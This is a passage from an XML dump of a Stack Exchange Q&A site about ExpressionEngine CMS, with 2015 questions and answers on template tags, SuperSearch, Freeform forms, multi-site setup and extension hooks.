'stagger'&#xA;&#xA;        };&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which is code that I got from the MixItUp forums for using this technique in a general sense. I'm wondering if it is possible to use Low Seg2Cat after a hash? Here is my template code inside this snippet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;w-section content&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;w-container&quot;&amp;gt;&#xA;    &amp;lt;h1 class=&quot;h1-order&quot;&amp;gt;Order&amp;lt;/h1&amp;gt;&#xA;    {exp:low_variables:single var=&quot;lv_disclaimer_turnaround&quot;}&#xA;    &amp;lt;div class=&quot;order-filter&quot;&amp;gt;&#xA;        &amp;lt;!-- &amp;lt;a class=&quot;filter-link favorite-filter&quot; href=&quot;#&quot;&amp;gt;Best Sellers&amp;lt;/a&amp;gt; --&amp;gt;&#xA;&#xA;        {exp:channel:categories category_group=&quot;1&quot; style=&quot;linear&quot; sort=&quot;asc&quot;}&#xA;        &amp;lt;div class=&quot;filter-link filter&quot; data-filter=&quot;.{category_url_title}&quot;&amp;gt;{category_name}&amp;lt;/div&amp;gt;&#xA;        {/exp:channel:categories}&#xA;        &amp;lt;div class=&quot;filter-link filter&quot; data-filter=&quot;all&quot;&amp;gt;All&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;Container&quot;&amp;gt;&#xA;            {exp:channel:entries &#xA;                channel=&quot;products&quot; &#xA;                disable=&quot;category_fields|member_data|pagination&quot;&#xA;                limit=&quot;200&quot;&#xA;                orderby=&quot;random&quot;&#xA;                sort=&quot;random&quot;&#xA;                status=&quot;Open&quot;&#xA;            }&#xA;&#xA;                    &amp;lt;a class=&quot;w-inline-block tn mix {categories backspace='1'}{category_url_title} {/categories}&quot; href=&quot;/order/{url_title}/&quot;&amp;gt;{if gluten_free == &quot;no&quot;}{if:else}&amp;lt;img class=&quot;gluten-free&quot; src=&quot;/assets/images/gluten-free.svg&quot;&amp;gt;{/if}{if product_favorite == &quot;no&quot;}{if:else}&amp;lt;img class=&quot;favorite&quot; src=&quot;/assets/images/favorite.svg&quot;&amp;gt;{/if}{exp:channel_images:images entry_id=&quot;{entry_id}&quot;}&amp;lt;img src=&quot;{image:url:thumb}&quot; alt=&quot;{title} - {site_name}&quot; class=&quot;tn-img&quot;&amp;gt;{/exp:channel_images:images}&#xA;                        &amp;lt;div&amp;gt;{title}&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/a&amp;gt;&#xA;&#xA;&#xA;&#xA;            {/exp:channel:entries}  &#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions as to how to achieve this or where I'm fumbling?&lt;/p&gt;&#xA;" OwnerUserId="3750" LastActivityDate="2015-08-12T19:02:09.703" Title="Low Seg2Cat and MixItUp" Tags="|switchee|low-seg2cat|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32640" PostTypeId="2" ParentId="32554" CreationDate="2015-08-12T15:27:33.760" Score="2" Body="&lt;p&gt;This turned out to be a bug in the Template class:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://support.ellislab.com/bugs/detail/21054&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/21054&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="289" LastActivityDate="2015-08-12T15:27:33.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32641" PostTypeId="2" ParentId="32639" CreationDate="2015-08-12T17:05:24.920" Score="1" Body="&lt;p&gt;In short: no. Low Seg2Cat looks at full segments, which in your example is &lt;code&gt;order#cakes&lt;/code&gt;, not &lt;code&gt;order&lt;/code&gt;, nor &lt;code&gt;cakes&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your better bet is to, rather than use a hash in your URL to indicate a filter, simply append the &lt;code&gt;category_url_title&lt;/code&gt; as a new segment. So, link your filters to &lt;code&gt;order/{category_url_title}&lt;/code&gt;, and then manually change your URL to that link when your MixItUp filters are clicked. (You could even use the History API to do this and preserve back/forward states in the browser.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That way your URLs can load fine without JS by using the standard Low Seg2Cat behaviour, e.g.,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:channel:entries &#xA;            channel=&quot;products&quot; &#xA;            disable=&quot;category_fields|member_data|pagination&quot;&#xA;            limit=&quot;200&quot;&#xA;            orderby=&quot;random&quot;&#xA;            status=&quot;Open&quot;&#xA;            {if segment_2_category_id}category=&quot;{segment_2_category_id}&quot;{/if}&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(You could then also remove your check for the existing filter in the URL in your JS.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd also want to check for the existing category segment to apply whatever &quot;active&quot; classes you're using on your filter links.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2015-08-12T19:02:09.703" LastActivityDate="2015-08-12T19:02:09.703" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32642" PostTypeId="1" AcceptedAnswerId="32668" CreationDate="2015-08-12T18:17:54.057" Score="0" ViewCount="59" Body="&lt;p&gt;I'm trying to debug why SuperSearch isn't posting the query string into the URL segment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a document library search area (domain.com/library) that has with a number filters: article type, language, author, date range etc. If I select any one or combination of these and hit submit the returned page is the same as the originating one. SuperSearch doesn't post the selection into the URL, eg domain.com/library/search&amp;amp;authors=conan-doyle. It simply returns domain.com/library/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If on the other hand I manually type or follow pre-compiled links such as domain.com/library/search&amp;amp;authors=conan-doyle then the correct entries are filtered. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was working previously. Then during a server migration I hit on some git versioning issues that resulted in me having to rollback a number commits. Even though none of the lost commits had anything, seemingly to do, with the SuperSearch forms. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only SuperSearch's form submit isn't working. Other forms on the site (FreeForm, Newsletter sign ups) all work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've scoured EE's debug=on log a number of times and dug around in Chrome's developer tool. But nothing is calling out at me &quot;here's the problem&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any suggestions as to how I may go about debugging the issue?&lt;/p&gt;&#xA;" OwnerUserId="658" LastActivityDate="2015-08-20T13:31:21.137" Title="Super Search isn't posting data" Tags="|forms|supersearch|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32643" PostTypeId="2" ParentId="32642" CreationDate="2015-08-12T19:01:49.757" Score="0" Body="&lt;p&gt;It sounds like your &lt;code&gt;super_search:results&lt;/code&gt; tag has the &lt;code&gt;redirect_post&lt;/code&gt; parameter set to &lt;code&gt;no&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;By default, Super Search will redirect a POST search to contain the search query in the URI on the results page, similar to how it does on Google searches, etc. This allows your users to bookmark search queries, etc. To override this behaviour, specify this parameter with a value of &lt;strong&gt;no&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;(&lt;a href=&quot;https://solspace.com/docs/super_search/results/#redirect_post&quot; rel=&quot;nofollow&quot;&gt;Docs.&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-08-12T19:01:49.757" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32645" PostTypeId="1" AcceptedAnswerId="32660" CreationDate="2015-08-12T19:40:59.080" Score="0" ViewCount="32" Body="&lt;p&gt;How can I pull back the {description} information from an uploaded image. Bearing in mind I'm pulling back an image manipulation of the original?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   &amp;lt;img src=&quot;{recipe-thumbnail:small}&quot; alt=&quot;{description}&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="547" LastEditorUserId="547" LastEditDate="2015-08-12T19:53:01.177" LastActivityDate="2015-08-13T14:03:10.763" Title="Credit information from uploaded image" Tags="|file-uploads|image|file-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32646" PostTypeId="1" CreationDate="2015-08-12T20:26:42.457" Score="0" ViewCount="127" Body="&lt;p&gt;I have just gotten MSM installed and now I'm going through the necessary steps to setup the new site on the current server. I've uploaded a new index.php and a new admin.php file to the new directory. If I type in the URL to the admin.php it opens up the Control Panel for the new site. However if I use the URL to the directory of new sites index.php all I get is a white screen. Below are my index.php and admin.php files (I renamed the admin.php file)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;**index.php**&#xA;&#xA;$system_path = '../../system';&#xA;&#xA;$assign_to_config['site_name']  = 'VOT';&#xA;$assign_to_config['cp_url'] = 'http://artisanscenterofvirginia.org/VOT/votadmin.php';&#xA;$assign_to_config['site_url'] = 'http://artisanscenterofvirginia.org/VOT/';&#xA;&#xA;votadmin.php&#xA;&#xA;$system_path = '../../system';&#xA;&#xA; $assign_to_config['site_name']  = 'VOT';&#xA; $assign_to_config['cp_url'] = 'http://artisanscenterofvirginia.org/VOT/votadmin.php';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6496" LastActivityDate="2016-05-22T02:01:40.610" Title="Can't Change Root Directory of Site using MSM" Tags="|multi-site-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32647" PostTypeId="2" ParentId="30236" CreationDate="2015-08-12T20:28:35.193" Score="0" Body="&lt;p&gt;New to this add-on as well and was having the same problem with the example code for the exp:rating:comment_form, couldn't get it to show up, but then started to realize that their larger blocks of example code have some errors, be sure to check the closing tags and syntax against the tag specific examples. Also be sure to enable all users and your intended channel in the Ratings add-on preferences, hopefully this helps.&lt;/p&gt;&#xA;" OwnerUserId="2442" LastEditorUserId="2442" LastEditDate="2015-08-12T23:09:10.557" LastActivityDate="2015-08-12T23:09:10.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32648" PostTypeId="1" CreationDate="2015-08-12T21:13:30.797" Score="1" ViewCount="56" Body="&lt;p&gt;In trying to prevent username enumeration, I'm editing login messages to obfuscate whether the username or password was incorrect. I've successfully edited the messages for when the password is wrong, but I cannot track down where the &quot;Invalid username&quot; message pictured below is stored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/HCdol.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HCdol.png&quot; alt=&quot;&amp;quot;Invalid username&amp;quot; message&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've edited &lt;code&gt;myaccount_lang.php&lt;/code&gt;, but it's had no effect on this output. I've searched for &quot;Invalid username&quot; on my &lt;code&gt;/system/&lt;/code&gt; folder, and updated the message anywhere I've seen it, but to no success. (The only other file I found it in was &lt;code&gt;moblog_lang.php&lt;/code&gt;, just to be clear.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing?&lt;/p&gt;&#xA;" OwnerUserId="673" LastActivityDate="2016-05-20T19:55:48.400" Title="What file holds the &quot;Invalid username&quot; message?" Tags="|login|security|language|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32650" PostTypeId="2" ParentId="32648" CreationDate="2015-08-12T21:57:39.693" Score="0" Body="&lt;p&gt;Take a look in system/expressionengine/language/english/login_lang.php&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2015-08-12T21:57:39.693" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32651" PostTypeId="2" ParentId="32648" CreationDate="2015-08-12T23:25:04.223" Score="0" Body="&lt;p&gt;Rather than hacking the core or using speciality templates, use &lt;a href=&quot;https://devot-ee.com/add-ons/custom-system-messages&quot; rel=&quot;nofollow&quot;&gt;Custom System Messages&lt;/a&gt;. It's great and super easy to use&lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2015-08-12T23:25:04.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32655" PostTypeId="1" CreationDate="2015-08-13T09:42:16.587" Score="0" ViewCount="63" Body="&lt;p&gt;I am displaying JSON data dynamically on template and I would like search that dynamic content using search option. Any solution in Expression Engine???&lt;/p&gt;&#xA;" OwnerUserId="6558" LastEditorUserId="6558" LastEditDate="2015-08-13T09:50:14.177" LastActivityDate="2015-11-19T08:29:18.767" Title="Search dynamic content in Expression Engine" Tags="|search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32656" PostTypeId="1" AcceptedAnswerId="32665" CreationDate="2015-08-13T09:49:31.167" Score="0" ViewCount="102" Body="&lt;p&gt;I'm using Freeform 4.2.0 and EE 2.8.1 .  I've got the form below, with required fields. Freeform does recognise that the fields are required and returns the error messages, but any correctly filled out fields are blank.  Is there a way to make freeform remember the correctly filled out fields when returning errors?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {exp:freeform:form&#xA;    form_id=&quot;3&quot; &#xA;    form_name=&quot;student_bookings&quot;&#xA;    return=&quot;/student-accommodation/thank-you&quot;&#xA;    notify_admin=&quot;yes&quot;&#xA;    admin_notify=&quot;email@email.com&quot;&#xA;    notify_user=&quot;yes&quot; &#xA;    user_email_field=&quot;student_email&quot;&#xA;    user_notification_template=&quot;student_user&quot;&#xA;    inline_errors=&quot;yes&quot; required=&quot;property_details|rent_agreed|deposit_agreed|room_type|student_name|student_address|student_tel_number|student_email&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="984" LastActivityDate="2015-08-14T07:18:32.720" Title="Freeform - required fields blank after errors" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32657" PostTypeId="1" AcceptedAnswerId="32658" CreationDate="2015-08-13T10:36:29.857" Score="0" ViewCount="77" Body="&lt;p&gt;I wanted to insert a related-articles block after the n-th content element using stash. But it seems Content Elements doesn't provide a &lt;code&gt;{count}&lt;/code&gt; variable in the elements loop.&lt;/p&gt;&#xA;" OwnerUserId="1018" LastActivityDate="2016-06-30T13:07:52.120" Title="Content Elements doesn't have a {count} variable" Tags="|content-elements|count|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32658" PostTypeId="2" ParentId="32657" CreationDate="2015-08-13T10:36:29.857" Score="3" Body="&lt;p&gt;I've added a &lt;code&gt;{ce_counter}&lt;/code&gt; variable to the elements loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open the &lt;code&gt;ft.content_elements.php&lt;/code&gt; file and navigate to the &lt;code&gt;replace_tag&lt;/code&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Insert &lt;code&gt;$i_counter = 0;&lt;/code&gt; just before the foreach &lt;code&gt;$data&lt;/code&gt; loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the loop, look for the &lt;code&gt;// Counter&lt;/code&gt; section and add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$i_counter++;&#xA;$tagdata_parsed = str_replace('{ce_counter}', $i_counter, $tagdata_parsed);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the loop, look for the &lt;code&gt;// Parse varibles in conditions&lt;/code&gt; sections and add &lt;code&gt;'ce_counter' =&amp;gt; (int) $i_counter&lt;/code&gt; as an extra array item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can use &lt;code&gt;{ce_counter}&lt;/code&gt; as a variable in the loop.&lt;/p&gt;&#xA;" OwnerUserId="1018" LastEditorUserId="1527" LastEditDate="2016-06-30T13:07:52.120" LastActivityDate="2016-06-30T13:07:52.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32659" PostTypeId="1" AcceptedAnswerId="32664" CreationDate="2015-08-13T10:56:16.593" Score="0" ViewCount="98" Body="&lt;p&gt;I'm trying to trigger some code in an extension when a new member clicks their activation link in the welcome email e.g domain/?ACT=171&amp;amp;id=oZYXwJfcAx&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can access the &lt;code&gt;authcode&lt;/code&gt; using &lt;code&gt;$id  = $this-&amp;gt;EE-&amp;gt;input-&amp;gt;get_post('id');&lt;/code&gt; and I can detect that the current hook is activation using:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;if ($this-&amp;gt;EE-&amp;gt;extensions-&amp;gt;active_hook('member_register_validate_members') === TRUE){ ... }&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;but I can't query the &lt;code&gt;exp_members&lt;/code&gt; table for the &lt;code&gt;member_id&lt;/code&gt; using the &lt;code&gt;auth_code&lt;/code&gt; as it has already expired at this point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the query I'm trying to run:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $id  = $this-&amp;gt;EE-&amp;gt;input-&amp;gt;get_post('id');&#xA;&#xA;    $this-&amp;gt;EE-&amp;gt;db-&amp;gt;select('exp_members.member_id');&#xA;    $this-&amp;gt;EE-&amp;gt;db-&amp;gt;where('exp_members.authcode =', '&quot;' . $this-&amp;gt;EE-&amp;gt;db-&amp;gt;escape_str($id) . '&quot;', FALSE);&#xA;    $this-&amp;gt;EE-&amp;gt;db-&amp;gt;limit(1);&#xA;&#xA;    $query = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;get('exp_members');&#xA;&#xA;    if ($query-&amp;gt;num_rows() &amp;gt; 0)&#xA;    {&#xA;         foreach($query-&amp;gt;result() as $row)&#xA;         {&#xA;             $member_id = $row-&amp;gt;member_id;&#xA;         }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm going around in circles on this so any help would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using EE 2.9.2 with MSM and Solspace User 3.5.0 installed.&lt;/p&gt;&#xA;" OwnerUserId="1976" LastActivityDate="2015-08-14T05:03:39.630" Title="How to get the member id on activation link click?" Tags="|extension|solspace-user|activation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32660" PostTypeId="2" ParentId="32645" CreationDate="2015-08-13T14:03:10.763" Score="0" Body="&lt;p&gt;You need to use a tag pair for your image:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{recipe-thumbnail}&#xA;&amp;lt;img src=&quot;{url:small}&quot; alt=&quot;{description}&quot;/&amp;gt;&#xA;{/recipe-thumbnail}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You have a number of variables that can be used inside the tag such as:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{title}&#xA;{description}&#xA;{location}&#xA;{credit}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See for the full list &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/custom_fields.html#variable-pair-usage&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/add-ons/channel/custom_fields.html#variable-pair-usage&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2015-08-13T14:03:10.763" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32661" PostTypeId="2" ParentId="32632" CreationDate="2015-08-13T14:06:07.970" Score="0" Body="&lt;p&gt;You can use most custom fields in search results:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:search_results switch=&quot;resultRowOne|resultRowTwo&quot;}&#xA;{custom_field_one}&#xA;{my_custom_field}&#xA;{/exp:search:search_results} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Bear in mind that if you are searching channels with different field groups you'll need to account for any custom field you want to show in the results.&lt;/p&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2015-08-13T14:06:07.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32663" PostTypeId="2" ParentId="32556" CreationDate="2015-08-13T21:46:33.367" Score="1" Body="&lt;p&gt;So the answer to this was actually simpler than I thought.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;index.php&lt;/code&gt; of the secondary site we set &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$base_path = $_SERVER['DOCUMENT_ROOT'];&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and then&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$assign_to_config['tmpl_file_basepath'] = $base_path . '/../../templates';&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also had to do the same thing with the path to snippets &amp;amp; Low Variables.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2015-08-13T21:46:33.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32664" PostTypeId="2" ParentId="32659" CreationDate="2015-08-14T05:03:39.630" Score="0" Body="&lt;p&gt;&lt;code&gt;$member_id&lt;/code&gt; should be available in the &lt;code&gt;member_register_validate_members&lt;/code&gt; hook.&lt;br&gt;&#xA; See &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/extension_hooks/module/member_register/#member-register-validate-members&quot; rel=&quot;nofollow&quot;&gt;EE's documentation about the &lt;code&gt;member_register_validate_members&lt;/code&gt; hook&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should be able to query the &lt;code&gt;exp_members&lt;/code&gt; table with the &lt;code&gt;member_id&lt;/code&gt; from the hook at hand.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-08-14T05:03:39.630" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32665" PostTypeId="2" ParentId="32656" CreationDate="2015-08-14T07:07:00.273" Score="1" Body="&lt;p&gt;Instead of using input fields like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; class=&quot;your-class&quot; name=&quot;FIELD_NAME&quot; value=&quot;&quot; placeholder=&quot;Enter FIELD_NAME&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Use this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{freeform:field:FIELD_NAME&#xA;    attr:class=&quot;your-class&quot;&#xA;    attr:placeholder=&quot;Enter FIELD_NAME&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6205" LastEditorUserId="6205" LastEditDate="2015-08-14T07:18:32.720" LastActivityDate="2015-08-14T07:18:32.720" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32666" PostTypeId="2" ParentId="5243" CreationDate="2015-08-14T10:02:05.107" Score="0" Body="&lt;p&gt;/system/expressionengine/modules/rte/libraries/Rte_lib.php line 505&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if ($settings['field_fmt'] == 'xhtml')&#xA;                {&#xA;                    $this-&gt;EE-&gt;load-&gt;library('typography');&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                $data = $this-&amp;gt;EE-&amp;gt;typography-&amp;gt;_format_newlines($data);&#xA;&#xA;                // Remove double paragraph tags&#xA;                $data = preg_replace(&quot;/(&amp;lt;\/?p&amp;gt;)\\1/is&quot;, &quot;\\1&quot;, $data);&#xA;            }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you should check if isset this field. Like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if (isset($settings['field_fmt'])) {&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            if ($settings['field_fmt'] == 'xhtml')&#xA;            {&#xA;                $this-&amp;gt;EE-&amp;gt;load-&amp;gt;library('typography');&#xA;&#xA;                $data = $this-&amp;gt;EE-&amp;gt;typography-&amp;gt;_format_newlines($data);&#xA;&#xA;                // Remove double paragraph tags&#xA;                $data = preg_replace(&quot;/(&amp;lt;\/?p&amp;gt;)\\1/is&quot;, &quot;\\1&quot;, $data);&#xA;            }&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6564" LastActivityDate="2015-08-14T10:02:05.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32667" PostTypeId="1" AcceptedAnswerId="32713" CreationDate="2015-08-14T10:14:08.217" Score="0" ViewCount="198" Body="&lt;p&gt;I've got an existing site, and recently changed the settings of a few Channel Fields to make them searchable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are lots of pages using the Channel already, so I was hoping that my change to the channel fields would make all that content searchable immediately, but this hasn't been the case. I've also tried editing and saving a page (in case that triggered a new index) but that hasn't worked either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't find how to reset or rebuild the search index to include this content. Any pointers much appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;T&lt;/p&gt;&#xA;" OwnerUserId="785" LastActivityDate="2015-08-18T15:32:04.027" Title="Searchable content not appearing in search results" Tags="|search|channel-fields|index|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32668" PostTypeId="2" ParentId="32642" CreationDate="2015-08-14T11:22:45.937" Score="0" Body="&lt;p&gt;I'm an idiot. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had commented out the following htaccess rule:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And that simply broke Super Search. Once reinstated it and added the extra &lt;code&gt;?&lt;/code&gt; in &lt;code&gt;RewriteRule ^(.*)$ /index.php?/$1 [L]&lt;/code&gt;, because the new server runs php as FastCGI, then everything worked as expected. &lt;/p&gt;&#xA;" OwnerUserId="658" LastEditorUserId="658" LastEditDate="2015-08-20T13:31:21.137" LastActivityDate="2015-08-20T13:31:21.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32669" PostTypeId="2" ParentId="32646" CreationDate="2015-08-14T12:17:24.683" Score="0" Body="&lt;p&gt;Have you entered the site url in the Control Panel for your new site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will need to got to the new child site in the Control Panel and enter it here: Admin / General Configuration / URL to the root directory of your site&lt;/p&gt;&#xA;" OwnerUserId="1976" LastActivityDate="2015-08-14T12:17:24.683" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32671" PostTypeId="1" AcceptedAnswerId="32673" CreationDate="2015-08-14T13:20:24.363" Score="0" ViewCount="198" Body="&lt;p&gt;We need to order our search results by relevance then post date, however I can't find any reference to order in the ellislab documentation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/search/index.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/add-ons/search/index.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this even possible with the search module? If not can anyone recommend a third party addon that would allow us to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1014" LastActivityDate="2015-08-14T15:10:47.933" Title="Search results - Order by Date" Tags="|search|orderby|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32672" PostTypeId="1" CreationDate="2015-08-14T14:32:17.093" Score="0" ViewCount="112" Body="&lt;p&gt;Any chance somebody knows why this freeform form isn't working?&#xA;With not working I mean not recieving any submissions.&#xA;i cannot seem to figure it out because on one site it works and on a new site it doesn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only difference is the version number of ee and freeform. On the old site its ee (2.7.3) / freeform (4.1.3) while on the new site it's ee (2.10.1) / freeform (4.2.3)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form&#xA;                        form:id=&quot;contact&quot;&#xA;                        notify=&quot;claudio@maff.be&quot;&#xA;                        form_id=&quot;1&quot;&#xA;                        required=&quot;first_name|email|user_message&quot;&#xA;                    }&#xA;                        &amp;lt;input type=&quot;hidden&quot; name=&quot;subject&quot; value=&quot;Contact from Nunc website.&quot;&amp;gt;&#xA;                        &amp;lt;div&amp;gt;&#xA;                            &amp;lt;label for=&quot;firts_name&quot;&amp;gt;Name*&amp;lt;/label&amp;gt;&#xA;                            &amp;lt;input minlength=&quot;2&quot; type=&quot;text&quot; name=&quot;first_name&quot; id=&quot;first_name&quot; value=&quot;&quot; /&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div&amp;gt;&#xA;                            